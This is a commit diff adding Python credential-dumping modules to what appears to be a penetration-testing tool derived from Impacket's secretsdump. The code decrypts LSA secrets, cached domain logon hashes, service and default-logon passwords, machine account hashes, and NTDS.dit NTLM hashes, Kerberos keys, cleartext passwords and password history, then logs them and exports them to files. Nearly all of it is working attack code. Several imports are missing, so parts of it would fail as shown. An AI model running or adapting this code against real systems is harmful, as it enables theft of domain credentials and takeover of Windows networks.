ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
for i in range(self['SubAuthorityCount']):
ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
return ans
class LSA_SECRET_BLOB(Structure):
structure = (
('Length','<L=0'),
('Unknown','12s=""'),
('_Secret','_-Secret','self["Length"]'),
('Secret',':'),
('Remaining',':'),
)
class LSA_SECRET(Structure):
structure = (
('Version','<L=0'),
('EncKeyID','16s=""'),
('EncAlgorithm','<L=0'),
('Flags','<L=0'),
('EncryptedData',':'),
)
class LSA_SECRET_XP(Structure):
structure = (
('Length','<L=0'),
('Version','<L=0'),
('_Secret','_-Secret', 'self["Length"]'),
('Secret', ':'),
)

View File

@ -0,0 +1,32 @@
from struct import pack
class CryptoCommon:
# Common crypto stuff used over different classes
def transformKey(self, InputKey):
# Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
OutputKey = []
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
for i in range(8):
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
return "".join(OutputKey)
def deriveKey(self, baseKey):
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
# Let I be the little-endian, unsigned integer.
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
key = pack('<L',baseKey)
key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
return self.transformKey(key1),self.transformKey(key2)

315
core/credentials/lsa.py Normal file
View File

@ -0,0 +1,315 @@
from core.credentials.offlineregistry import OfflineRegistry
from core.credentials.cryptocommon import CryptoCommon
from core.credentials.commonstructs import LSA_SECRET, LSA_SECRET_BLOB, NL_RECORD
from impacket import ntlm
from impacket.winregistry import hexdump
from Crypto.Cipher import AES
from Crypto.Hash import MD4
from binascii import hexlify
import logging
import ntpath
import hashlib
import codecs
class LSASecrets(OfflineRegistry):
def __init__(self, securityFile, bootKey, logger, remoteOps = None, isRemote = False):
OfflineRegistry.__init__(self,securityFile, isRemote)
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__LSAKey = ''
self.__NKLMKey = ''
self.__isRemote = isRemote
self.__vistaStyle = True
self.__cryptoCommon = CryptoCommon()
self.__securityFile = securityFile
self.__logger = logger
self.__remoteOps = remoteOps
self.__cachedItems = []
self.__secretItems = []
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def __sha256(self, key, value, rounds=1000):
sha = hashlib.sha256()
sha.update(key)
for i in range(1000):
sha.update(value)
return sha.digest()
def __decryptAES(self, key, value, iv='\x00'*16):
plainText = ''
if iv != '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
for index in range(0, len(value), 16):
if iv == '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
cipherBuffer = value[index:index+16]
# Pad buffer to 16 bytes
if len(cipherBuffer) < 16:
cipherBuffer += '\x00' * (16-len(cipherBuffer))
plainText += aes256.decrypt(cipherBuffer)
return plainText
def __decryptSecret(self, key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
encryptedSecretSize = unpack('<I', value[:4])[0]
value = value[len(value)-encryptedSecretSize:]
key0 = key
for i in range(0, len(value), 8):
cipherText = value[:8]
tmpStrKey = key0[:7]
tmpKey = self.__cryptoCommon.transformKey(tmpStrKey)
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
plainText += Crypt1.decrypt(cipherText)
key0 = key0[7:]
value = value[8:]
# AdvanceKey
if len(key0) < 7:
key0 = key[len(key0):]
secret = LSA_SECRET_XP(plainText)
return secret['Secret']
def __decryptHash(self, key, value, iv):
hmac_md5 = HMAC.new(key,iv)
rc4key = hmac_md5.digest()
rc4 = ARC4.new(rc4key)
data = rc4.encrypt(value)
return data
def __decryptLSA(self, value):
if self.__vistaStyle is True:
# ToDo: There could be more than one LSA Keys
record = LSA_SECRET(value)
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
self.__LSAKey = record['Secret'][52:][:32]
else:
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(value[60:76])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.decrypt(value[12:60])
self.__LSAKey = plainText[0x10:0x20]
def __getLSASecretKey(self):
logging.debug('Decrypting LSA Key')
# Let's try the key post XP
value = self.getValue('\\Policy\\PolEKList\\default')
if value is None:
logging.debug('PolEKList not found, trying PolSecretEncryptionKey')
# Second chance
value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
self.__vistaStyle = False
if value is None:
# No way :(
return None
self.__decryptLSA(value[1])
def __getNLKMSecret(self):
logging.debug('Decrypting NL$KM')
value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
if value is None:
raise Exception("Couldn't get NL$KM value")
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
else:
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
def __pad(self, data):
if (data & 0x3) > 0:
return data + (data & 0x3)
else:
return data
def dumpCachedHashes(self):
if self.__securityFile is None:
# No SECURITY file provided
return
self.__logger.success('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)')
# Let's first see if there are cached entries
values = self.enumValues('\\Cache')
if values is None:
# No cache entries
return
try:
# Remove unnecesary value
values.remove('NL$Control')
except:
pass
self.__getLSASecretKey()
self.__getNLKMSecret()
for value in values:
logging.debug('Looking into %s' % value)
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
if record['CH'] != 16 * '\x00':
if self.__vistaStyle is True:
plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
else:
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
pass
encHash = plainText[:0x10]
plainText = plainText[0x48:]
userName = plainText[:record['UserLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['UserLength']):]
domain = plainText[:record['DomainNameLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['DomainNameLength']):]
domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
self.__cachedItems.append(answer)
self.__logger.highlight(answer)
def __printSecret(self, name, secretItem):
# Based on [MS-LSAD] section 3.1.1.4
# First off, let's discard NULL secrets.
if len(secretItem) == 0:
logging.debug('Discarding secret %s, NULL Data' % name)
return
# We might have secrets with zero
if secretItem.startswith('\x00\x00'):
logging.debug('Discarding secret %s, all zeros' % name)
return
upperName = name.upper()
logging.info('%s ' % name)
secret = ''
if upperName.startswith('_SC_'):
# Service name, a password might be there
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account the service
# runs under
if self.__isRemote is True:
account = self.__remoteOps.getServiceAccount(name[4:])
if account is None:
secret = '(Unknown User):'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = '(Unknown User):'
secret += strDecoded
elif upperName.startswith('DEFAULTPASSWORD'):
# defaults password for winlogon
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account this password is for
if self.__isRemote is True:
account = self.__remoteOps.getDefaultLoginAccount()
if account is None:
secret = '(Unknown User):'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = '(Unknown User):'
secret += strDecoded
elif upperName.startswith('ASPNET_WP_PASSWORD'):
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
secret = 'ASPNET: %s' % strDecoded
elif upperName.startswith('$MACHINE.ACC'):
# compute MD4 of the secret.. yes.. that is the nthash? :-o
md4 = MD4.new()
md4.update(secretItem)
if self.__isRemote is True:
machine, domain = self.__remoteOps.getMachineNameAndDomain()
secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
else:
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
if secret != '':
self.__secretItems.append(secret)
self.__logger.highlight(secret)
else:
# Default print, hexdump
self.__secretItems.append('%s:%s' % (name, hexlify(secretItem)))
self.__logger.highlight('{}:{}'.format(name, hexlify(secretItem)))
#hexdump(secretItem)
def dumpSecrets(self):
if self.__securityFile is None:
# No SECURITY file provided
return
self.__logger.success('Dumping LSA Secrets')
# Let's first see if there are cached entries
keys = self.enumKey('\\Policy\\Secrets')
if keys is None:
# No entries
return
try:
# Remove unnecesary value
keys.remove('NL$Control')
except:
pass
if self.__LSAKey == '':
self.__getLSASecretKey()
for key in keys:
logging.debug('Looking into %s' % key)
value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key)
if value is not None:
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
secret = record['Secret']
else:
secret = self.__decryptSecret(self.__LSAKey, value[1])
self.__printSecret(key, secret)
def exportSecrets(self, fileName):
if len(self.__secretItems) > 0:
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
for item in self.__secretItems:
fd.write(item+'\n')
fd.close()
def exportCached(self, fileName):
if len(self.__cachedItems) > 0:
fd = codecs.open(fileName+'.cached','w+', encoding='utf-8')
for item in self.__cachedItems:
fd.write(item+'\n')
fd.close()

693
core/credentials/ntds.py Normal file
View File

@ -0,0 +1,693 @@
from impacket.structure import Structure
from impacket.dcerpc.v5 import drsuapi
from impacket.nt_errors import STATUS_MORE_ENTRIES
from collections import OrderedDict
from impacket import ntlm
from binascii import hexlify, unhexlify
from struct import unpack
from datetime import datetime
from core.credentials.cryptocommon import CryptoCommon
from impacket.ese import ESENT_DB
import logging
import random
import string
import os
import traceback
import codecs
class NTDSHashes:
NAME_TO_INTERNAL = {
'uSNCreated':'ATTq131091',
'uSNChanged':'ATTq131192',
'name':'ATTm3',
'objectGUID':'ATTk589826',
'objectSid':'ATTr589970',
'userAccountControl':'ATTj589832',
'primaryGroupID':'ATTj589922',
'accountExpires':'ATTq589983',
'logonCount':'ATTj589993',
'sAMAccountName':'ATTm590045',
'sAMAccountType':'ATTj590126',
'lastLogonTimestamp':'ATTq589876',
'userPrincipalName':'ATTm590480',
'unicodePwd':'ATTk589914',
'dBCSPwd':'ATTk589879',
'ntPwdHistory':'ATTk589918',
'lmPwdHistory':'ATTk589984',
'pekList':'ATTk590689',
'supplementalCredentials':'ATTk589949',
'pwdLastSet':'ATTq589920',
}
NAME_TO_ATTRTYP = {
'userPrincipalName': 0x90290,
'sAMAccountName': 0x900DD,
'unicodePwd': 0x9005A,
'dBCSPwd': 0x90037,
'ntPwdHistory': 0x9005E,
'lmPwdHistory': 0x900A0,
'supplementalCredentials': 0x9007D,
'objectSid': 0x90092,
}
ATTRTYP_TO_ATTID = {
'userPrincipalName': '1.2.840.113556.1.4.656',
'sAMAccountName': '1.2.840.113556.1.4.221',
'unicodePwd': '1.2.840.113556.1.4.90',
'dBCSPwd': '1.2.840.113556.1.4.55',
'ntPwdHistory': '1.2.840.113556.1.4.94',
'lmPwdHistory': '1.2.840.113556.1.4.160',
'supplementalCredentials': '1.2.840.113556.1.4.125',
'objectSid': '1.2.840.113556.1.4.146',
'pwdLastSet': '1.2.840.113556.1.4.96',
}
KERBEROS_TYPE = {
1:'dec-cbc-crc',
3:'des-cbc-md5',
17:'aes128-cts-hmac-sha1-96',
18:'aes256-cts-hmac-sha1-96',
0xffffff74:'rc4_hmac',
}
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
SAM_NORMAL_USER_ACCOUNT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
class PEKLIST_ENC(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedPek',':'),
)
class PEKLIST_PLAIN(Structure):
structure = (
('Header','32s=""'),
('DecryptedPek',':'),
)
class PEK_KEY(Structure):
structure = (
('Header','1s=""'),
('Padding','3s=""'),
('Key','16s=""'),
)
class CRYPTED_HASH(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash','16s=""'),
)
class CRYPTED_HISTORY(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash',':'),
)
class CRYPTED_BLOB(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash',':'),
)
def __init__(self, ntdsFile, bootKey, logger, isRemote=False, history=False, noLMHash=True, remoteOps=None,
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None):
self.__bootKey = bootKey
self.__logger = logger
self.__NTDS = ntdsFile
self.__history = history
self.__noLMHash = noLMHash
self.__useVSSMethod = useVSSMethod
self.__remoteOps = remoteOps
self.__pwdLastSet = pwdLastSet
if self.__NTDS is not None:
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
self.__cursor = self.__ESEDB.openTable('datatable')
self.__tmpUsers = list()
self.__PEK = list()
self.__cryptoCommon = CryptoCommon()
self.__kerberosKeys = OrderedDict()
self.__clearTextPwds = OrderedDict()
self.__justNTLM = justNTLM
self.__savedSessionFile = resumeSession
self.__resumeSessionFile = None
self.__outputFileName = outputFileName
def getResumeSessionFile(self):
return self.__resumeSessionFile
def __getPek(self):
logging.info('Searching for pekList, be patient')
peklist = None
while True:
record = self.__ESEDB.getNextRow(self.__cursor)
if record is None:
break
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
break
elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
# Okey.. we found some users, but we're not yet ready to process them.
# Let's just store them in a temp list
self.__tmpUsers.append(record)
if peklist is not None:
encryptedPekList = self.PEKLIST_ENC(peklist)
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(encryptedPekList['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
PEKLen = len(self.PEK_KEY())
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
cursor = i * PEKLen
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
self.__PEK.append(pek['Key'])
def __removeRC4Layer(self, cryptedHash):
md5 = hashlib.new('md5')
# PEK index can be found on header of each ciphered blob (pos 8-10)
pekIndex = hexlify(cryptedHash['Header'])
md5.update(self.__PEK[int(pekIndex[8:10])])
md5.update(cryptedHash['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
return plainText
def __removeDESLayer(self, cryptedHash, rid):
Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
return decryptedHash
def __fileTimeToDateTime(self, t):
t -= 116444736000000000
t /= 10000000
if t < 0:
return 'never'
else:
dt = datetime.fromtimestamp(t)
return dt.strftime("%Y-%m-%d %H:%M")
def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
haveInfo = False
if self.__useVSSMethod is True:
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
plainText = self.__removeRC4Layer(cipherText)
haveInfo = True
else:
domain = None
userName = None
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
logging.debug('Failed to execute OidFromAttid with error %s' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
else:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
if attId == LOOKUP_TABLE['supplementalCredentials']:
if attr['AttrVal']['valCount'] > 0:
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
if len(plainText) > 24:
haveInfo = True
if domain is not None:
userName = '%s\\%s' % (domain, userName)
if haveInfo is True:
try:
userProperties = samr.USER_PROPERTIES(plainText)
except:
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties['UserProperties']
for propertyCount in range(userProperties['PropertyCount']):
userProperty = samr.USER_PROPERTY(propertiesData)
propertiesData = propertiesData[len(userProperty):]
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
data = kerbStoredCredentialNew['Buffer']
for credential in range(kerbStoredCredentialNew['CredentialCount']):
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
data = data[len(keyDataNew):]
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
else:
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
# We're just storing the keys, not printing them, to make the output more readable
# This is kind of ugly... but it's what I came up with tonight to get an ordered
# set :P. Better ideas welcomed ;)
self.__kerberosKeys[answer] = None
if keysFile is not None:
self.__writeOutput(keysFile, answer + '\n')
elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
self.__clearTextPwds[answer] = None
if clearTextFile is not None:
self.__writeOutput(clearTextFile, answer + '\n')
if clearTextFile is not None:
clearTextFile.flush()
if keysFile is not None:
keysFile.flush()
def __decryptHash(self, record, rid=None, prefixTable=None, outputFile=None):
if self.__useVSSMethod is True:
logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
rid = sid.formatCanonical().split('-')[-1]
if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
LMHash = self.__removeDESLayer(tmpLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
NTHash = self.__removeDESLayer(tmpNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
else:
pwdLastSet = 'N/A'
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
self.__logger.highlight(answer)
if self.__history:
LMHistory = []
NTHistory = []
if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
for i in range(0, len(tmpLMHistory) / 16):
LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHash)
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHash)
for i, (LMHash, NTHash) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHash)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
self.__logger.highlight(answer)
else:
logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
domain = None
if self.__history:
LMHistory = []
NTHistory = []
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['dBCSPwd']:
if attr['AttrVal']['valCount'] > 0:
encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
elif attId == LOOKUP_TABLE['unicodePwd']:
if attr['AttrVal']['valCount'] > 0:
encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
elif attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
else:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
elif attId == LOOKUP_TABLE['objectSid']:
if attr['AttrVal']['valCount'] > 0:
objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
else:
logging.error('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
objectSid = rid
elif attId == LOOKUP_TABLE['pwdLastSet']:
if attr['AttrVal']['valCount'] > 0:
try:
pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
except:
traceback.print_exc()
logging.error('Cannot get pwdLastSet for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
pwdLastSet = 'N/A'
if self.__history:
if attId == LOOKUP_TABLE['lmPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
for i in range(0, len(tmpLMHistory) / 16):
LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHashHistory)
else:
logging.debug('No lmPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
elif attId == LOOKUP_TABLE['ntPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHashHistory)
else:
logging.debug('No ntPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
if domain is not None:
userName = '%s\\%s' % (domain, userName)
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
self.__logger.highlight(answer)
if self.__history:
for i, (LMHashHistory, NTHashHistory) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHashHistory)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
self.__logger.highlight(answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if outputFile is not None:
outputFile.flush()
def dump(self):
if self.__useVSSMethod is True:
if self.__NTDS is None:
# No NTDS.dit file provided and were asked to use VSS
return
else:
if self.__NTDS is None:
# DRSUAPI method, checking whether target is a DC
try:
self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
except Exception as e:
traceback.print_exc()
# Target's not a DC
return
# Let's check if we need to save results in a file
if self.__outputFileName is not None:
logging.debug('Saving output to %s' % self.__outputFileName)
# We have to export. Are we resuming a session?
if self.__savedSessionFile is not None:
mode = 'a+'
else:
mode = 'w+'
hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8')
if self.__justNTLM is False:
keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8')
